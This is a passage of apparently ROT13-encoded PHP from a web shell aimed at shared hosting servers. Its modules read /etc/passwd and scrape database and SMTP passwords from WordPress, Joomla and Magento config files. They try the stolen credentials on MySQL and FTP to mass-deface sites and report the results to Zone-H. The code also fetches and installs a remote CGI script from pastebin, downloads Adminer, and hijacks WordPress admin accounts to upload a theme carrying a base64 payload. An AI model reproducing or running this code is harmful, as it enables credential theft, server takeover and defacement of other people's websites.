								} ryfr {
									cert_zngpu_nyy("#/ine/anzrq/(.*?).qo#", $qbznva_pc, $qbznvaf_pc);
									sbernpu($qbznvaf_pc[1] nf $qw) {
										$hfre_pc_hey = cbfvk_trgcjhvq(@svyrbjare("/rgp/inyvnfrf/$qw"));
										$hfre_pc_hey = $hfre_pc_hey['anzr'];
										vs($hfre_pc_hey == $hpc) {
											$qbz = "<n uers='uggc://$qw/' gnetrg='_oynax'><sbag pbybe=yvzr>$qw</sbag></n>";
											oernx;
										}
									}
								}
							} ryfr {
								$qbz = "<sbag pbybe=erq>shapgvba vf Qvfnoyr ol flfgrz</sbag>";
							}
							rpub "hfreanzr (<sbag pbybe=yvzr>$hpc</sbag>) cnffjbeq (<sbag pbybe=yvzr>$cpc</sbag>) qbznva ($qbz)<oe>";
						}
					}
				}
			}
		}
		vs($v == 0) {
		} ryfr {
			rpub "<oe>fhxfrf albybat ".$v." Pcnary ol <sbag pbybe=yvzr>A00O.</sbag>";
		}
	} ryfr {
		rpub "<pragre>
		<sbez zrgubq='cbfg'>
		HFRE: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 150ck;' anzr='hfre_pc'>";
		$_hfrepc = sbcra("/rgp/cnffjq","e");
		juvyr($trgh = strgf($_hfrepc)) {
			vs($trgh == '' || !$_hfrepc) {
				rpub "<sbag pbybe=erq>Pna'g ernq /rgp/cnffjq</sbag>";
			} ryfr {
				cert_zngpu_nyy("/(.*?):k:/", $trgh, $h);
				sbernpu($h[1] nf $hfre_pc) {
						vs(vf_qve("/ubzr/$hfre_pc/choyvp_ugzy")) {
							rpub "$hfre_pc\a";
					}
				}
			}
		}
		rpub "</grkgnern><oe>
		CNFF: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 200ck;' anzr='cnff_pc'>";
		shapgvba pc_cnff($qve) {
			$cnff = "";
			$qven = fpnaqve($qve);
			sbernpu($qven nf $qveo) {
				vs(!vf_svyr("$qve/$qveo")) pbagvahr;
				$nzovy = svyr_trg_pbagragf("$qve/$qveo");
				vs(cert_zngpu("/JbeqCerff/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"QO_CNFFJBEQ', '","'")."\a";
				} ryfrvs(cert_zngpu("/WPbasvt|wbbzyn/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"cnffjbeq = '","'")."\a";
				} ryfrvs(cert_zngpu("/Zntragb|Zntr_Pber/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"<cnffjbeq><![PQNGN[","]]></cnffjbeq>")."\a";
				} ryfrvs(cert_zngpu("/cnattvy shatfv inyvqnfv kff qna vawrpgvba/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,'cnffjbeq = "','"')."\a";
				} ryfrvs(cert_zngpu("/UGGC_FREIRE|UGGC_PNGNYBT|QVE_PBASVT|QVE_FLFGRZ/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"'QO_CNFFJBEQ', '","'")."\a";
				} ryfrvs(cert_zngpu("/pyvrag/", $nzovy)) {
					cert_zngpu("/cnffjbeq=(.*)/", $nzovy, $cnff1);
					vs(cert_zngpu('/"/', $cnff1[1])) {
						$cnff1[1] = fge_ercynpr('"', "", $cnff1[1]);
						$cnff .= $cnff1[1]."\a";
					}
				} ryfrvs(cert_zngpu("/pp_rapelcgvba_unfu/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"qo_cnffjbeq = '","'")."\a";
				}
			}
			rpub $cnff;
		}
		$pc_cnff = pc_cnff($qve);
		rpub $pc_cnff;
		rpub "</grkgnern><oe>
		<vachg glcr='fhozvg' anzr='penpx' fglyr='jvqgu: 450ck;' inyhr='Penpx'>
		</sbez>
		<fcna>AO: PCnary Penpx vav fhqnu nhgb trg cnffjbeq ( cnxr qo cnffjbeq ) znxn nxna jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna><oe></pragre>";
	}
} ryfrvs($_TRG['qb'] == 'pcsgc_nhgb') {
	vs($_CBFG['penpx']) {
		$hfrepc = rkcybqr("\e\a", $_CBFG['hfre_pc']);
		$cnffpc = rkcybqr("\e\a", $_CBFG['cnff_pc']);
		$v = 0;
		sbernpu($hfrepc nf $hpc) {
			sbernpu($cnffpc nf $cpc) {
				vs(@zlfdy_pbaarpg('ybpnyubfg', $hpc, $cpc)) {
					vs($_FRFFVBA[$hpc] && $_FRFFVBA[$cpc]) {
					} ryfr {
						$_FRFFVBA[$hpc] = "1";
						$_FRFFVBA[$cpc] = "1";
						vs($hpc == '' || $cpc == '') {
							//
						} ryfr {
							rpub "[+] hfreanzr (<sbag pbybe=yvzr>$hpc</sbag>) cnffjbeq (<sbag pbybe=yvzr>$cpc</sbag>)<oe>";
							$sgc_pbaa = sgc_pbaarpg(trgubfgolanzr($_FREIRE['UGGC_UBFG']));
							$sgc_ybtva = sgc_ybtva($sgc_pbaa, $hpc, $cpc);
							vs((!$sgc_ybtva) || (!$sgc_pbaa)) {
								rpub "[+] <sbag pbybe=erq>Ybtva Tntny</sbag><oe><oe>";
							} ryfr {
								rpub "[+] <sbag pbybe=yvzr>Ybtva Fhxfrf</sbag><oe>";
								$sv = ugzyfcrpvnypunef($_CBFG['svyr_qrsnpr']);
								$qrsnpr = sgc_chg($sgc_pbaa, "choyvp_ugzy/$sv", $_CBFG['qrsnpr'], SGC_OVANEL);
								vs($qrsnpr) {
									$v++;
									rpub "[+] <sbag pbybe=yvzr>Qrsnpr Fhxfrf</sbag><oe>";
									vs(shapgvba_rkvfgf('cbfvk_trgcjhvq')) {
										$qbznva_pc = svyr_trg_pbagragf("/rgp/anzrq.pbas");	
										vs($qbznva_pc == '') {
											rpub "[+] <sbag pbybe=erq>tnovfn nzovy anzn qbznva aln</sbag><oe><oe>";
										} ryfr {
											cert_zngpu_nyy("#/ine/anzrq/(.*?).qo#", $qbznva_pc, $qbznvaf_pc);
											sbernpu($qbznvaf_pc[1] nf $qw) {
												$hfre_pc_hey = cbfvk_trgcjhvq(@svyrbjare("/rgp/inyvnfrf/$qw"));
												$hfre_pc_hey = $hfre_pc_hey['anzr'];
												vs($hfre_pc_hey == $hpc) {
													rpub "[+] <n uers='uggc://$qw/$sv' gnetrg='_oynax'>uggc://$qw/$sv</n><oe><oe>";
													oernx;
												}
											}
										}
									} ryfr {
										rpub "[+] <sbag pbybe=erq>tnovfn nzovy anzn qbznva aln</sbag><oe><oe>";
									}
								} ryfr {
									rpub "[-] <sbag pbybe=erq>Qrsnpr Tntny</sbag><oe><oe>";
								}
							}
							//rpub "hfreanzr (<sbag pbybe=yvzr>$hpc</sbag>) cnffjbeq (<sbag pbybe=yvzr>$cpc</sbag>)<oe>";
						}
					}
				}
			}
		}
		vs($v == 0) {
		} ryfr {
			rpub "<oe>fhxfrf qrsnpr ".$v." Pcnary ol <sbag pbybe=yvzr>A00O.</sbag>";
		}
	} ryfr {
		rpub "<pragre>
		<sbez zrgubq='cbfg'>
		Svyranzr: <oe>
		<vachg glcr='grkg' anzr='svyr_qrsnpr' cynprubyqre='vaqrk.cuc' inyhr='vaqrk.cuc' fglyr='jvqgu: 450ck;'><oe>
		Qrsnpr Cntr: <oe>
		<vachg glcr='grkg' anzr='qrsnpr' cynprubyqre='uggc://jjj.jro-lnat-hqnu-qb-qrsnpr.pbz/svyrzh.cuc' fglyr='jvqgu: 450ck;'><oe>
		HFRE: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 150ck;' anzr='hfre_pc'>";
		$_hfrepc = sbcra("/rgp/cnffjq","e");
		juvyr($trgh = strgf($_hfrepc)) {
			vs($trgh == '' || !$_hfrepc) {
				rpub "<sbag pbybe=erq>Pna'g ernq /rgp/cnffjq</sbag>";
			} ryfr {
				cert_zngpu_nyy("/(.*?):k:/", $trgh, $h);
				sbernpu($h[1] nf $hfre_pc) {
						vs(vf_qve("/ubzr/$hfre_pc/choyvp_ugzy")) {
							rpub "$hfre_pc\a";
					}
				}
			}
		}
		rpub "</grkgnern><oe>
		CNFF: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 200ck;' anzr='cnff_pc'>";
		shapgvba pc_cnff($qve) {
			$cnff = "";
			$qven = fpnaqve($qve);
			sbernpu($qven nf $qveo) {
				vs(!vf_svyr("$qve/$qveo")) pbagvahr;
				$nzovy = svyr_trg_pbagragf("$qve/$qveo");
				vs(cert_zngpu("/JbeqCerff/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"QO_CNFFJBEQ', '","'")."\a";
				} ryfrvs(cert_zngpu("/WPbasvt|wbbzyn/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"cnffjbeq = '","'")."\a";
				} ryfrvs(cert_zngpu("/Zntragb|Zntr_Pber/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"<cnffjbeq><![PQNGN[","]]></cnffjbeq>")."\a";
				} ryfrvs(cert_zngpu("/cnattvy shatfv inyvqnfv kff qna vawrpgvba/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,'cnffjbeq = "','"')."\a";
				} ryfrvs(cert_zngpu("/UGGC_FREIRE|UGGC_PNGNYBT|QVE_PBASVT|QVE_FLFGRZ/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"'QO_CNFFJBEQ', '","'")."\a";
				} ryfrvs(cert_zngpu("/pyvrag/", $nzovy)) {
					cert_zngpu("/cnffjbeq=(.*)/", $nzovy, $cnff1);
					vs(cert_zngpu('/"/', $cnff1[1])) {
						$cnff1[1] = fge_ercynpr('"', "", $cnff1[1]);
						$cnff .= $cnff1[1]."\a";
					}
				} ryfrvs(cert_zngpu("/pp_rapelcgvba_unfu/", $nzovy)) {
					$cnff .= nzovyxngn($nzovy,"qo_cnffjbeq = '","'")."\a";
				}
			}
			rpub $cnff;
		}
		$pc_cnff = pc_cnff($qve);
		rpub $pc_cnff;
		rpub "</grkgnern><oe>
		<vachg glcr='fhozvg' anzr='penpx' fglyr='jvqgu: 450ck;' inyhr='Unwne'>
		</sbez>
		<fcna>AO: PCnary Penpx vav fhqnu nhgb trg cnffjbeq ( cnxr qo cnffjbeq ) znxn nxna jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna><oe></pragre>";
	}
} ryfrvs($_TRG['qb'] == 'fzgc') {
	rpub "<pragre><fcna>AO: Gbbyf vav jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna></pragre><oe>";
	shapgvba fpw($qve) {
		$qven = fpnaqve($qve);
		sbernpu($qven nf $qveo) {
			vs(!vf_svyr("$qve/$qveo")) pbagvahr;
			$nzovy = svyr_trg_pbagragf("$qve/$qveo");
			$nzovy = fge_ercynpr("$", "", $nzovy);
			vs(cert_zngpu("/WPbasvt|wbbzyn/", $nzovy)) {
				$fzgc_ubfg = nzovyxngn($nzovy,"fzgcubfg = '","'");
				$fzgc_nhgu = nzovyxngn($nzovy,"fzgcnhgu = '","'");
				$fzgc_hfre = nzovyxngn($nzovy,"fzgchfre = '","'");
				$fzgc_cnff = nzovyxngn($nzovy,"fzgccnff = '","'");
				$fzgc_cbeg = nzovyxngn($nzovy,"fzgccbeg = '","'");
				$fzgc_frpher = nzovyxngn($nzovy,"fzgcfrpher = '","'");
				rpub "FZGC Ubfg: <sbag pbybe=yvzr>$fzgc_ubfg</sbag><oe>";
				rpub "FZGC cbeg: <sbag pbybe=yvzr>$fzgc_cbeg</sbag><oe>";
				rpub "FZGC hfre: <sbag pbybe=yvzr>$fzgc_hfre</sbag><oe>";
				rpub "FZGC cnff: <sbag pbybe=yvzr>$fzgc_cnff</sbag><oe>";
				rpub "FZGC nhgu: <sbag pbybe=yvzr>$fzgc_nhgu</sbag><oe>";
				rpub "FZGC frpher: <sbag pbybe=yvzr>$fzgc_frpher</sbag><oe><oe>";
			}
		}
	}
	$fzcg_uhagre = fpw($qve);
	rpub $fzcg_uhagre;
} ryfrvs($_TRG['qb'] == 'nhgb_jc') {
	vs($_CBFG['unwne']) {
		$gvgyr = ugzyfcrpvnypunef($_CBFG['arj_gvgyr']);
		$ca_gvgyr = fge_ercynpr(" ", "-", $gvgyr);
		vs($_CBFG['prx_rqvg'] == "L") {
			$fpevcg = $_CBFG['rqvg_pbagrag'];
		} ryfr {
			$fpevcg = $gvgyr;
		}
		$pbas = $_CBFG['pbasvt_qve'];
		$fpna_pbas = fpnaqve($pbas);
		sbernpu($fpna_pbas nf $svyr_pbas) {
			vs(!vf_svyr("$pbas/$svyr_pbas")) pbagvahr;
			$pbasvt = svyr_trg_pbagragf("$pbas/$svyr_pbas");
			vs(cert_zngpu("/JbeqCerff/", $pbasvt)) {
				$qoubfg = nzovyxngn($pbasvt,"QO_UBFG', '","'");
				$qohfre = nzovyxngn($pbasvt,"QO_HFRE', '","'");
				$qocnff = nzovyxngn($pbasvt,"QO_CNFFJBEQ', '","'");
				$qoanzr = nzovyxngn($pbasvt,"QO_ANZR', '","'");
				$qocersvk = nzovyxngn($pbasvt,"gnoyr_cersvk  = '","'");
				$cersvk = $qocersvk."cbfgf";
				$bcgvba = $qocersvk."bcgvbaf";
				$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
				$qo = zlfdy_fryrpg_qo($qoanzr);
				$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL VQ NFP");
				$erfhyg = zlfdy_srgpu_neenl($d);
				$vq = $erfhyg[VQ];
				$d2 = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba BEQRE OL bcgvba_vq NFP");
				$erfhyg2 = zlfdy_srgpu_neenl($d2);
				$gnetrg = $erfhyg2[bcgvba_inyhr];
				$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG cbfg_gvgyr='$gvgyr',cbfg_pbagrag='$fpevcg',cbfg_anzr='$ca_gvgyr',cbfg_fgnghf='choyvfu',pbzzrag_fgnghf='bcra',cvat_fgnghf='bcra',cbfg_glcr='cbfg',pbzzrag_pbhag='1' JURER vq='$vq'");
				$hcqngr .= zlfdy_dhrel("HCQNGR $bcgvba FRG bcgvba_inyhr='$gvgyr' JURER bcgvba_anzr='oybtanzr' BE bcgvba_anzr='oybtqrfpevcgvba'");
				rpub "<qvi fglyr='znetva: 5ck nhgb;'>";
				vs($gnetrg == '') {
					rpub "HEY: <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva aln</sbag> -> ";
				} ryfr {
					rpub "HEY: <n uers='$gnetrg/?c=$vq' gnetrg='_oynax'>$gnetrg/?c=$vq</n> -> ";
				}
				vs(!$hcqngr BE !$pbaa BE !$qo) {
					rpub "<sbag pbybe=erq>ZlFDY Reebe: ".zlfdy_reebe()."</sbag><oe>";
				} ryfr {
					rpub "<sbag pbybe=yvzr>fhxfrf qv tnagv.</sbag><oe>";
				}
				rpub "</qvi>";
				zlfdy_pybfr($pbaa);
			}
		}
	} ryfr {
		rpub "<pragre>
		<u1>Nhgb Rqvg Gvgyr+Pbagrag JbeqCerff</u1>
		<sbez zrgubq='cbfg'>
		QVE Pbasvt: <oe>
		<vachg glcr='grkg' fvmr='50' anzr='pbasvt_qve' inyhr='$qve'><oe><oe>
		Frg Gvgyr: <oe>
		<vachg glcr='grkg' anzr='arj_gvgyr' inyhr='Unpxrq Ol KM-Frp' cynprubyqre='Arj Gvgyr'><oe><oe>
		Rqvg Pbagrag?: <vachg glcr='enqvb' anzr='prx_rqvg' inyhr='L' purpxrq>L<vachg glcr='enqvb' anzr='prx_rqvg' inyhr='A'>A<oe>
		<fcna>Wvxn cvyvu <h>L</h> znfhxva fpevcg qrsnprzh ( fnena lnat fvzcyr nwn ), xnyb cvyvu <h>A</h> tnhfnu qv vfv.</fcna><oe>
		<grkgnern anzr='rqvg_pbagrag' cynprubyqre='pbagbu fpevcg: uggc://cnfgrova.pbz/RcC671tX' fglyr='jvqgu: 450ck; urvtug: 150ck;'></grkgnern><oe>
		<vachg glcr='fhozvg' anzr='unwne' inyhr='Unwne!' fglyr='jvqgu: 450ck;'><oe>
		</sbez>
		<fcna>AO: Gbbyf vav jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna><oe>
		";
	}
} ryfrvs($_TRG['qb'] == 'mbaru') {
	vs($_CBFG['fhozvg']) {
		$qbznva = rkcybqr("\e\a", $_CBFG['hey']);
		$avpx =  $_CBFG['avpx'];
		rpub "Qrsnpre Baubyq: <n uers='uggc://jjj.mbar-u.bet/nepuvir/abgvsvre=$avpx/choyvfurq=0' gnetrg='_oynax'>uggc://jjj.mbar-u.bet/nepuvir/abgvsvre=$avpx/choyvfurq=0</n><oe>";
		rpub "Qrsnpre Nepuvir: <n uers='uggc://jjj.mbar-u.bet/nepuvir/abgvsvre=$avpx' gnetrg='_oynax'>uggc://jjj.mbar-u.bet/nepuvir/abgvsvre=$avpx</n><oe><oe>";
		shapgvba mbaru($hey,$avpx) {
			$pu = phey_vavg("uggc://jjj.mbar-u.pbz/abgvsl/fvatyr");
				  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, gehr);
				  phey_frgbcg($pu, PHEYBCG_CBFG, gehr);
				  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, "qrsnpre=$avpx&qbznva1=$hey&unpxzbqr=1&ernfba=1&fhozvg=Fraq");
			erghea phey_rkrp($pu);
				  phey_pybfr($pu);
		}
		sbernpu($qbznva nf $hey) {
			$mbaru = mbaru($hey,$avpx);
			vs(cert_zngpu("/pbybe=\"erq\">BX<\/sbag><\/yv>/v", $mbaru)) {
				rpub "$hey -> <sbag pbybe=yvzr>BX</sbag><oe>";
			} ryfr {
				rpub "$hey -> <sbag pbybe=erq>REEBE</sbag><oe>";
			}
		}
	} ryfr {
		rpub "<pragre><sbez zrgubq='cbfg'>
		<h>Qrsnpre</h>: <oe>
		<vachg glcr='grkg' anzr='avpx' fvmr='50' inyhr='KM-Frp'><oe>
		<h>Qbznvaf</h>: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 150ck;' anzr='hey'></grkgnern><oe>
		<vachg glcr='fhozvg' anzr='fhozvg' inyhr='Fhozvg' fglyr='jvqgu: 450ck;'>
		</sbez>";
	}
	rpub "</pragre>";
} ryfrvs($_TRG['qb'] == 'ptv') {
	$ptv_qve = zxqve('vqk_ptv', 0755);
	$svyr_ptv = "vqk_ptv/ptv.vmb";
	$vfv_ugptv = "NqqUnaqyre ptv-fpevcg .vmb";
	$ugptv = sbcra(".ugnpprff", "j");
	$ptv_fpevcg = svyr_trg_pbagragf("uggc://cnfgrova.pbz/enj.cuc?v=KGHSsWYt");
	$ptv = sbcra($svyr_ptv, "j");
	sjevgr($ptv, $ptv_fpevcg);
	sjevgr($ugptv, $vfv_ugptv);
	puzbq($svyr_ptv, 0755);
	rpub "<vsenzr fep='vqk_ptv/ptv.vmb' jvqgu='100%' urvtug='100%' senzrobeqre='0' fpebyyvat='ab'></vsenzr>";
} ryfrvs($_TRG['qb'] == 'snxr_ebbg') {
	bo_fgneg();
	shapgvba erirefr($hey) {
		$pu = phey_vavg("uggc://qbznvaf.lbhtrgfvtany.pbz/qbznvaf.cuc");
			  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1 );
			  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF,  "erzbgrNqqerff=$hey&xrg=");
			  phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
			  phey_frgbcg($pu, PHEYBCG_CBFG, 1);
		$erfc = phey_rkrp($pu);
		$erfc = fge_ercynpr("[","", fge_ercynpr("]","", fge_ercynpr("\"\"","", fge_ercynpr(", ,",",", fge_ercynpr("{","", fge_ercynpr("{","", fge_ercynpr("}","", fge_ercynpr(", ",",", fge_ercynpr(", ",",",  fge_ercynpr("'","", fge_ercynpr("'","", fge_ercynpr(":",",", fge_ercynpr('"','', $erfc ) ) ) ) ) ) ) ) ) ))));
		$neenl = rkcybqr(",,", $erfc);
		hafrg($neenl[0]);
		sbernpu($neenl nf $yax) {
			$yax = "uggc://$yax";
			$yax = fge_ercynpr(",", "", $yax);
			rpub $yax."\a";
			bo_syhfu();
			syhfu();
		}
			  phey_pybfr($pu);
	}
	shapgvba prx($hey) {
		$pu = phey_vavg($hey);
			  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1 );
			  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, gehr);
		$erfc = phey_rkrp($pu);
		erghea $erfc;
	}
	$pjq = trgpjq();
	$nzovy_hfre = rkcybqr("/", $pjq);
	$hfre = $nzovy_hfre[2];
	vs($_CBFG['erirefr']) {
		$fvgr = rkcybqr("\e\a", $_CBFG['hey']);
		$svyr = $_CBFG['svyr'];
		sbernpu($fvgr nf $hey) {
			$prx = prx("$hey/~$hfre/$svyr");
			vs(cert_zngpu("/unpxrq/v", $prx)) {
				rpub "HEY: <n uers='$hey/~$hfre/$svyr' gnetrg='_oynax'>$hey/~$hfre/$svyr</n> -> <sbag pbybe=yvzr>Snxr Ebbg!</sbag><oe>";
			}
		}
	} ryfr {
		rpub "<pragre><sbez zrgubq='cbfg'>
		Svyranzr: <oe><vachg glcr='grkg' anzr='svyr' inyhr='qrsnpr.ugzy' fvmr='50' urvtug='10'><oe>
		Hfre: <oe><vachg glcr='grkg' inyhr='$hfre' fvmr='50' urvtug='10' ernqbayl><oe>
		Qbznva: <oe>
		<grkgnern fglyr='jvqgu: 450ck; urvtug: 250ck;' anzr='hey'>";
		erirefr($_FREIRE['UGGC_UBFG']);
		rpub "</grkgnern><oe>
		<vachg glcr='fhozvg' anzr='erirefr' inyhr='Fpna Snxr Ebbg!' fglyr='jvqgu: 450ck;'>
		</sbez><oe>
		AO: Froryhz thanva Gbbyf vav , hcybnq qhyh svyr qrsnpr xnyvna qv qve /ubzr/hfre/ qna /ubzr/hfre/choyvp_ugzy.</pragre>";
	}
} ryfrvs($_TRG['qb'] == 'nqzvare') {
	$shyy = fge_ercynpr($_FREIRE['QBPHZRAG_EBBG'], "", $qve);
	shapgvba nqzvare($hey, $vfv) {
		$sc = sbcra($vfv, "j");
		$pu = phey_vavg();
		 	  phey_frgbcg($pu, PHEYBCG_HEY, $hey);
		 	  phey_frgbcg($pu, PHEYBCG_OVANELGENAFSRE, gehr);
		 	  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, gehr);
		 	  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, snyfr);
		   	  phey_frgbcg($pu, PHEYBCG_SVYR, $sc);
		erghea phey_rkrp($pu);
		   	  phey_pybfr($pu);
		spybfr($sc);
		bo_syhfu();
		syhfu();
	}
	vs(svyr_rkvfgf('nqzvare.cuc')) {
		rpub "<pragre><sbag pbybe=yvzr><n uers='$shyy/nqzvare.cuc' gnetrg='_oynax'>-> nqzvare ybtva <-</n></sbag></pragre>";
	} ryfr {
		vs(nqzvare("uggcf://jjj.nqzvare.bet/fgngvp/qbjaybnq/4.2.4/nqzvare-4.2.4.cuc","nqzvare.cuc")) {
			rpub "<pragre><sbag pbybe=yvzr><n uers='$shyy/nqzvare.cuc' gnetrg='_oynax'>-> nqzvare ybtva <-</n></sbag></pragre>";
		} ryfr {
			rpub "<pragre><sbag pbybe=erq>tntny ohng svyr nqzvare</sbag></pragre>";
		}
	}
} ryfrvs($_TRG['qb'] == 'nhgb_qjc') {
	vs($_CBFG['nhgb_qrsnpr_jc']) {
		shapgvba nahphey($fvgrf) {
    		$pu = phey_vavg($fvgrf);
	       		  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
	       		  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
	       		  phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0 (Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");
	       		  phey_frgbcg($pu, PHEYBCG_PBAARPGGVZRBHG, 5);
	       		  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
	       		  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
	       		  phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA, gehr);
			$qngn = phey_rkrp($pu);
				  phey_pybfr($pu);
			erghea $qngn;
		}
		shapgvba ybutva($prx, $jro, $hfree, $cnff, $jc_fhozvg) {
    		$cbfg = neenl(
                   "ybt" => "$hfree",
                   "cjq" => "$cnff",
                   "erzrzorezr" => "sberire",
                   "jc-fhozvg" => "$jc_fhozvg",
                   "erqverpg_gb" => "$jro",
                   "grfgpbbxvr" => "1",
                   );
			$pu = phey_vavg($prx);
				  phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);
				  phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
				  phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0 (Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");
				  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);
				  phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);
				  phey_frgbcg($pu, PHEYBCG_CBFG, 1);
				  phey_frgbcg($pu, PHEYBCG_CBFGSVRYQF, $cbfg);
				  phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,'pbbxvr.gkg');
				  phey_frgbcg($pu, PHEYBCG_PBBXVRSVYR,'pbbxvr.gkg');
				  phey_frgbcg($pu, PHEYBCG_PBBXVRFRFFVBA, gehr);
			$qngn = phey_rkrp($pu);
				  phey_pybfr($pu);
			erghea $qngn;
		}
		$fpna = $_CBFG['yvax_pbasvt'];
		$yvax_pbasvt = fpnaqve($fpna);
		$fpevcg = ugzyfcrpvnypunef($_CBFG['fpevcg']);
		$hfre = "abanzr110";
		$cnff = "abanzr110";
		$cnffk = zq5($cnff);
		sbernpu($yvax_pbasvt nf $qve_pbasvt) {
			vs(!vf_svyr("$fpna/$qve_pbasvt")) pbagvahr;
			$pbasvt = svyr_trg_pbagragf("$fpna/$qve_pbasvt");
			vs(cert_zngpu("/JbeqCerff/", $pbasvt)) {
				$qoubfg = nzovyxngn($pbasvt,"QO_UBFG', '","'");
				$qohfre = nzovyxngn($pbasvt,"QO_HFRE', '","'");
				$qocnff = nzovyxngn($pbasvt,"QO_CNFFJBEQ', '","'");
				$qoanzr = nzovyxngn($pbasvt,"QO_ANZR', '","'");
				$qocersvk = nzovyxngn($pbasvt,"gnoyr_cersvk  = '","'");
				$cersvk = $qocersvk."hfref";
				$bcgvba = $qocersvk."bcgvbaf";
				$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
				$qo = zlfdy_fryrpg_qo($qoanzr);
				$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL vq NFP");
				$erfhyg = zlfdy_srgpu_neenl($d);
				$vq = $erfhyg[VQ];
				$d2 = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba BEQRE OL bcgvba_vq NFP");
				$erfhyg2 = zlfdy_srgpu_neenl($d2);
				$gnetrg = $erfhyg2[bcgvba_inyhr];
				vs($gnetrg == '') {					
					rpub "[-] <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva aln</sbag><oe>";
				} ryfr {
					rpub "[+] $gnetrg <oe>";
				}
				$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfre_ybtva='$hfre',hfre_cnff='$cnffk' JURER VQ='$vq'");
				vs(!$pbaa BE !$qo BE !$hcqngr) {
					rpub "[-] ZlFDY Reebe: <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					zlfdy_pybfr($pbaa);
				} ryfr {
					$fvgr = "$gnetrg/jc-ybtva.cuc";
					$fvgr2 = "$gnetrg/jc-nqzva/gurzr-vafgnyy.cuc?hcybnq";
					$o1 = nahphey($fvgr2);
					$jc_fho = nzovyxngn($o1, "vq=\"jc-fhozvg\" pynff=\"ohggba ohggba-cevznel ohggba-ynetr\" inyhr=\"","\" />");
					$o = ybutva($fvgr, $fvgr2, $hfre, $cnff, $jc_fho);
					$nah2 = nzovyxngn($o,"anzr=\"_jcabapr\" inyhr=\"","\" />");
					$hcybnq3 = onfr64_qrpbqr("M2ShqTIhMj0XCQ9jnUNAPvEznJkyZlN9VPEsExyZEIAoW2McoTHmW107QDbtVPEhMKqznJkyZm0vnl5jnUNvBj0XVPNtVPNtVPNtVPNtVPNtVTyzVPuznJkyK2I4nKA0pltvYv4iYv4iYv4iYv4iVv4xozI3MzyfMGZcXFO1ozkcozfbVv4hYl4hYl4hYl4hYlVhWT5yq2McoTHmXGfAPvNtVPNtVPNtoJ92MI91pTkiLJEyMS9znJkyXPEznJkyZ1faqT1jK25uoJHaKFjtVv4hYl4hYl4hYl4hYlEhMKqznJkyZlVcBj0XQDb/Ct==");
					$jjj = "z.cuc";
					$sc5 = sbcra($jjj,"j");
					schgf($sc5,$hcybnq3);
					$cbfg2 = neenl(
							"_jcabapr" => "$nah2",
							"_jc_uggc_ersrere" => "/jc-nqzva/gurzr-vafgnyy.cuc?hcybnq",
							"gurzrmvc" => "@$jjj",
							"vafgnyy-gurzr-fhozvg" => "Vafgnyy Abj",
							);
